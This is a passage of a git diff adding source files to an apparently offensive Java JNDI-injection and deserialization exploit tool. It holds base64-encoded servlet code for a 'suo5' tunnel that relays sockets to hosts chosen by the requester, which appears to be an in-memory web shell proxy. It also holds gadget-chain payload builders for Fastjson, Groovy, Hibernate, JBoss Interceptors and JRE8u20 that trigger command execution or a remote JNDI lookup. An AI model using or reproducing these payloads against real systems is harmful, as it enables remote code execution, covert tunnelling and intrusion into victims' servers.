XZhLmlvLk91dHB1dFN0cmVhbSByZXNwT3V0U3RyZWFtID0gcmVzcC5nZXRPdXRwdXRTdHJlYW0oKTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSBzY091dFN0cmVhbTsKCQlpZiAoYWN0aW9uWzBdID09IDB4MDIpIHsKCQkJc2NPdXRTdHJlYW0gPSAoamF2YS5pby5PdXRwdXRTdHJlYW0pIGN0eC5nZXRBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCQlpZiAoc2NPdXRTdHJlYW0gIT0gbnVsbCkgewoJCQkJc2NPdXRTdHJlYW0uY2xvc2UoKTsKCQkJfQoJCQlyZXR1cm47CgkJfSBlbHNlIGlmIChhY3Rpb25bMF0gPT0gMHgwMSkgewoJCQlzY091dFN0cmVhbSA9IChqYXZhLmlvLk91dHB1dFN0cmVhbSkgY3R4LmdldEF0dHJpYnV0ZShjbGllbnRJZCk7CgkJCWlmIChzY091dFN0cmVhbSA9PSBudWxsKSB7CgkJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3RGVsKCkpKTsKCQkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJCXJldHVybjsKCQkJfQoJCQlieXRlW10gZGF0YSA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJkdCIpOwoJCQlpZiAoZGF0YS5sZW5ndGggIT0gMCkgewoJCQkJc2NPdXRTdHJlYW0ud3JpdGUoZGF0YSk7CgkJCQlzY091dFN0cmVhbS5mbHVzaCgpOwoJCQl9CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRIZWFkZXIoIlgtQWNjZWwtQnVmZmVyaW5nIiwgIm5vIik7CgkJU3RyaW5nICAgICAgICAgIGhvc3QgPSBuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJwIikpKTsKCQlqYXZhLm5ldC5Tb2NrZXQgc2M7CgkJdHJ5IHsKCQkJc2MgPSBuZXcgamF2YS5uZXQuU29ja2V0KCk7CgkJCXNjLmNvbm5lY3QobmV3IGphdmEubmV0LkluZXRTb2NrZXRBZGRyZXNzKGhvc3QsIHBvcnQpLCA1MDAwKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAxKSkpOwoJCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQljdHguc2V0QXR0cmlidXRlKGNsaWVudElkLCBzY091dFN0cmVhbSk7CgkJcmVzcE91dFN0cmVhbS53cml0ZShtYXJzaGFsKG5ld1N0YXR1cygoYnl0ZSkgMHgwMCkpKTsKCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgoJCWphdmEuaW8uSW5wdXRTdHJlYW0gc2NJblN0cmVhbSA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9IGZpbmFsbHkgewoJCQlzYy5jbG9zZSgpOwoJCQlyZXNwT3V0U3RyZWFtLmNsb3NlKCk7CgkJCWN0eC5yZW1vdmVBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCX0KCX0="; + + // suo5 processDataBio 方法,需要 unmarshal,readReq,newStatus,marshal,setStream 方法 + public static String SUO5_PROCESS_DATA_BIO = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhQmlvKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgcmVxdWVzdCwgamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcCkgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWZpbmFsIGphdmEuaW8uSW5wdXRTdHJlYW0gICAgICAgICByZXFJbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0gcmVxUmVhZGVyICAgICAgPSBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKHJlcUlucHV0U3RyZWFtKTsKCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgICAgICAgICAgICAgZGF0YU1hcCAgICAgICAgPSB1bm1hcnNoYWwocmVxUmVhZGVyKTsKCgkJYnl0ZVtdIGFjdGlvbiA9IChieXRlW10pZGF0YU1hcC5nZXQoImFjIik7CgkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSB8fCBhY3Rpb25bMF0gIT0gMHgwMCkgewoJCQlyZXNwLnNldFN0YXR1cyg0MDMpOwoJCQlyZXR1cm47CgkJfQoJCXJlc3Auc2V0QnVmZmVyU2l6ZSg4ICogMTAyNCk7CgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gcmVzcE91dFN0cmVhbSA9IHJlc3AuZ2V0T3V0cHV0U3RyZWFtKCk7CgoJCS8vIDB4MDAgY3JlYXRlIHNvY2tldAoJCXJlc3Auc2V0SGVhZGVyKCJYLUFjY2VsLUJ1ZmZlcmluZyIsICJubyIpOwoJCVN0cmluZyAgICAgICAgICBob3N0ID0gbmV3IFN0cmluZygoYnl0ZVtdKWRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pZGF0YU1hcC5nZXQoInAiKSkpOwoJCWphdmEubmV0LlNvY2tldCBzYzsKCQl0cnkgewoJCQlzYyA9IG5ldyBqYXZhLm5ldC5Tb2NrZXQoKTsKCQkJc2MuY29ubmVjdChuZXcgamF2YS5uZXQuSW5ldFNvY2tldEFkZHJlc3MoaG9zdCwgcG9ydCksIDUwMDApOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXJlc3BPdXRTdHJlYW0ud3JpdGUobWFyc2hhbChuZXdTdGF0dXMoKGJ5dGUpIDB4MDEpKSk7CgkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlyZXR1cm47CgkJfQoKCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAwKSkpOwoJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLklucHV0U3RyZWFtICBzY0luU3RyZWFtICA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCWphdmEubGFuZy5UaHJlYWQgdCA9IG51bGw7CgkJdHJ5IHsKCQkJdGhpcy5zZXRTdHJlYW0oc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJCXQgPSBuZXcgamF2YS5sYW5nLlRocmVhZCgoamF2YS5sYW5nLlJ1bm5hYmxlKSB0aGlzKTsKCQkJdC5zdGFydCgpOwoJCQlyZWFkUmVxKHJlcVJlYWRlciwgc2NPdXRTdHJlYW0pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfSBmaW5hbGx5IHsKCQkJc2MuY2xvc2UoKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlpZiAodCAhPSBudWxsKSB7CgkJCQl0LmpvaW4oKTsKCQkJfQoJCX0KCX0="; + + // suo 关键方法,需要 Field HEADER_KEY HEADER_VALUE,需要 processDataUnary processDataBio 方法 + public static String SUO5 = "ewoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICAgICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsKCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOwoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIgICAgICAgPSByZXF1ZXN0LmdldEhlYWRlcihIRUFERVJfS0VZKTsKCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGUgPSByZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1UeXBlIik7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgaGVhZGVyLmVxdWFscyhIRUFERVJfVkFMVUUpKSB7CgkJCQlpZiAoY29udGVudFR5cGUgPT0gbnVsbCkgewoJCQkJCXJldHVybjsKCQkJCX0KCQkJCXRyeSB7CgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vcGxhaW4iKSkgewoJCQkJCQl0cnlGdWxsRHVwbGV4KHJlcXVlc3QsIHJlc3BvbnNlKTsKCQkJCQkJcmV0dXJuOwoJCQkJCX0KCgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikpIHsKCQkJCQkJcHJvY2Vzc0RhdGFCaW8ocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXByb2Nlc3NEYXRhVW5hcnkocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9"; + + // run 方法,需要 readSocket 方法,需要 Field gInStream,gOutStream + public static String RUN = "cHVibGljIHZvaWQgcnVuKCkgewoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoZ0luU3RyZWFtLCBnT3V0U3RyZWFtKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/DynamicDependencies.java b/src/main/java/com/qi4l/jndi/gadgets/DynamicDependencies.java new file mode 100644 index 0000000..2925d90 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/DynamicDependencies.java @@ -0,0 +1,4 @@ +package com.qi4l.jndi.gadgets; + +public interface DynamicDependencies { +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Fastjson1.java b/src/main/java/com/qi4l/jndi/gadgets/Fastjson1.java new file mode 100644 index 0000000..4677465 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Fastjson1.java @@ -0,0 +1,41 @@ +package com.qi4l.jndi.gadgets; + +import com.alibaba.fastjson.JSONArray; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; + + +public class Fastjson1 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.makeClass("a"); + CtClass superClass = pool.get(AbstractTranslet.class.getName()); + clazz.setSuperclass(superClass); + CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); + constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); + clazz.addConstructor(constructor); + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + JSONArray jsonArray = new JSONArray(); + jsonArray.add(templates); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap(); + hashMap.put(templates, val); + + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Fastjson2.java b/src/main/java/com/qi4l/jndi/gadgets/Fastjson2.java new file mode 100644 index 0000000..2ccb51f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Fastjson2.java @@ -0,0 +1,41 @@ +package com.qi4l.jndi.gadgets; + +import com.alibaba.fastjson2.JSONArray; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; + + +public class Fastjson2 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.makeClass("a"); + CtClass superClass = pool.get(AbstractTranslet.class.getName()); + clazz.setSuperclass(superClass); + CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); + constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); + clazz.addConstructor(constructor); + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + + JSONArray jsonArray = new JSONArray(); + jsonArray.add(templates); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap(); + hashMap.put(templates, val); + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Groovy1.java b/src/main/java/com/qi4l/jndi/gadgets/Groovy1.java new file mode 100644 index 0000000..e2eb205 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Groovy1.java @@ -0,0 +1,36 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import org.codehaus.groovy.runtime.ConvertedClosure; +import org.codehaus.groovy.runtime.MethodClosure; + +import java.lang.reflect.InvocationHandler; +import java.util.Map; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * PriorityQueue.readObject() + * Comparator.compare() (Proxy) + * ConvertedClosure.invoke() + * MethodClosure.call() + * ... + * Method.invoke() + * Runtime.exec() + *

+ * Requires: + * groovy + */ +@Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) +@Authors({Authors.FROHOFF}) +public class Groovy1 implements ObjectPayload { + + public InvocationHandler getObject(String command) throws Exception { + final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); + final Map map = Gadgets.createProxy(closure, Map.class); + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); + return handler; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Hibernate1.java b/src/main/java/com/qi4l/jndi/gadgets/Hibernate1.java new file mode 100644 index 0000000..e7ab157 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Hibernate1.java @@ -0,0 +1,171 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.hibernate.EntityMode; +import org.hibernate.engine.spi.TypedValue; +import org.hibernate.tuple.component.AbstractComponentTuplizer; +import org.hibernate.tuple.component.PojoComponentTuplizer; +import org.hibernate.type.AbstractType; +import org.hibernate.type.ComponentType; +import org.hibernate.type.Type; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + + +/** + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + *

+ * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + * + * @author mbechler + */ +@Authors({Authors.MBECHLER}) +public class Hibernate1 implements ObjectPayload, DynamicDependencies { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } + + public static String[] getDependencies() { + if (System.getProperty("hibernate5") != null) { + return new String[]{ + "org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2" + }; + } + + return new String[]{ + "org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1" + }; + + } + + + public static Object makeGetter(Class tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException, + IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException { + if (System.getProperty("hibernate5") != null) { + return makeHibernate5Getter(tplClass, method); + } + return makeHibernate4Getter(tplClass, method); + } + + + public static Object makeHibernate4Getter(Class tplClass, String method) throws ClassNotFoundException, NoSuchMethodException, + SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); + Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); + Reflections.setAccessible(bgCon); + + if (!method.startsWith("get")) { + throw new IllegalArgumentException("Hibernate4 can only call getters"); + } + + String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); + + Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + + public static Object makeHibernate5Getter(Class tplClass, String method) throws NoSuchMethodException, SecurityException, + ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); + Constructor bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); + Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + static Object makeCaller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + if (System.getProperty("hibernate3") != null) { + return makeHibernate3Caller(tpl, getters); + } + return makeHibernate45Caller(tpl, getters); + } + + static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); + Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); + + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + Reflections.setFieldValue(t, "componentTuplizer", tup); + Reflections.setFieldValue(t, "propertySpan", 1); + Reflections.setFieldValue(t, "propertyTypes", new Type[]{ + t + }); + + TypedValue v1 = new TypedValue(t, null); + Reflections.setFieldValue(v1, "value", tpl); + Reflections.setFieldValue(v1, "type", t); + + TypedValue v2 = new TypedValue(t, null); + Reflections.setFieldValue(v2, "value", tpl); + Reflections.setFieldValue(v2, "type", t); + + return Gadgets.makeMap(v1, v2); + } + + static Object makeHibernate3Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + // Load at runtime to avoid dependency conflicts + Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping"); + Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping"); + Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue"); + + PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); + Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); + Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1); + + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + HashMap hm = new HashMap(); + hm.put(EntityMode.POJO, tup); + Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm}); + Reflections.setFieldValue(t, "tuplizerMapping", emtm); + Reflections.setFieldValue(t, "propertySpan", 1); + Reflections.setFieldValue(t, "propertyTypes", new Type[]{ + t + }); + + Constructor typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class); + Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); + Reflections.setFieldValue(v1, "value", tpl); + Reflections.setFieldValue(v1, "type", t); + + Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); + Reflections.setFieldValue(v2, "value", tpl); + Reflections.setFieldValue(v2, "type", t); + + return Gadgets.makeMap(v1, v2); + } + + public Object getObject(String command) throws Exception { + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); + return makeCaller(tpl, getters); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Hibernate2.java b/src/main/java/com/qi4l/jndi/gadgets/Hibernate2.java new file mode 100644 index 0000000..6d550b9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Hibernate2.java @@ -0,0 +1,53 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.sun.rowset.JdbcRowSetImpl; + +/** + * Another application filter bypass + *

+ * Needs a getter invocation that is provided by hibernate here + *

+ * javax.naming.InitialContext.InitialContext.lookup() + * com.sun.rowset.JdbcRowSetImpl.connect() + * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + *

+ *

+ * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + *

+ * Arg: + * - JNDI name (i.e. rmi:) + *

+ * Yields: + * - JNDI lookup invocation (e.g. connect to remote RMI) + * + * @author mbechler + */ +@Authors({Authors.MBECHLER}) +public class Hibernate2 implements ObjectPayload, DynamicDependencies { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } + + public static String[] getDependencies() { + return Hibernate1.getDependencies(); + } + + public Object getObject(String command) throws Exception { + + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(command); + return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData")); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JBossInterceptors1.java b/src/main/java/com/qi4l/jndi/gadgets/JBossInterceptors1.java new file mode 100644 index 0000000..5661a55 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JBossInterceptors1.java @@ -0,0 +1,74 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.interceptor.builder.InterceptionModelBuilder; +import org.jboss.interceptor.builder.MethodReference; +import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.interceptor.reader.DefaultMethodMetadata; +import org.jboss.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.interceptor.spi.metadata.InterceptorReference; +import org.jboss.interceptor.spi.metadata.MethodMetadata; +import org.jboss.interceptor.spi.model.InterceptionModel; +import org.jboss.interceptor.spi.model.InterceptionType; + +import java.lang.reflect.Constructor; +import java.util.*; + + +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", + "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +@Authors({Authors.MATTHIASKAISER}) +public class JBossInterceptors1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + Reflections.setAccessible(defaultMethodMetadataConstructor); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return tpl; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRE8u20.java b/src/main/java/com/qi4l/jndi/gadgets/JRE8u20.java new file mode 100644 index 0000000..f65eed3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRE8u20.java @@ -0,0 +1,107 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.jre.*; + +import javax.xml.transform.Templates; +import java.beans.beancontext.BeanContextChild; +import java.beans.beancontext.BeanContextSupport; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; + + +@SuppressWarnings({"unused"}) +@Dependencies +@Authors({"frohoff"}) +public class JRE8u20 implements ObjectPayload { + + public static Object makeTemplates(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + Reflections.setFieldValue(templates, "_auxClasses", null); + return templates; + } + + public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception { + TCObject handler = new TCObject(ser) { + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + ByteArrayOutputStream byteout = new ByteArrayOutputStream(); + super.doWrite(new DataOutputStream(byteout), handles); + byte[] bytes = byteout.toByteArray(); + out.write(bytes, 0, bytes.length - 1); + } + }; + TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3); + desc.addField(new TCClassDesc.Field("memberValues", Map.class)); + desc.addField(new TCClassDesc.Field("type", Class.class)); + TCObject.ObjectData data = new TCObject.ObjectData(); + data.addData(map); + data.addData(Templates.class); + handler.addClassDescData(desc, data); + return handler; + } + + public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception { + TCObject obj = new TCObject(ser); + TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport"); + TCClassDesc beanContextChildSupportDesc = new 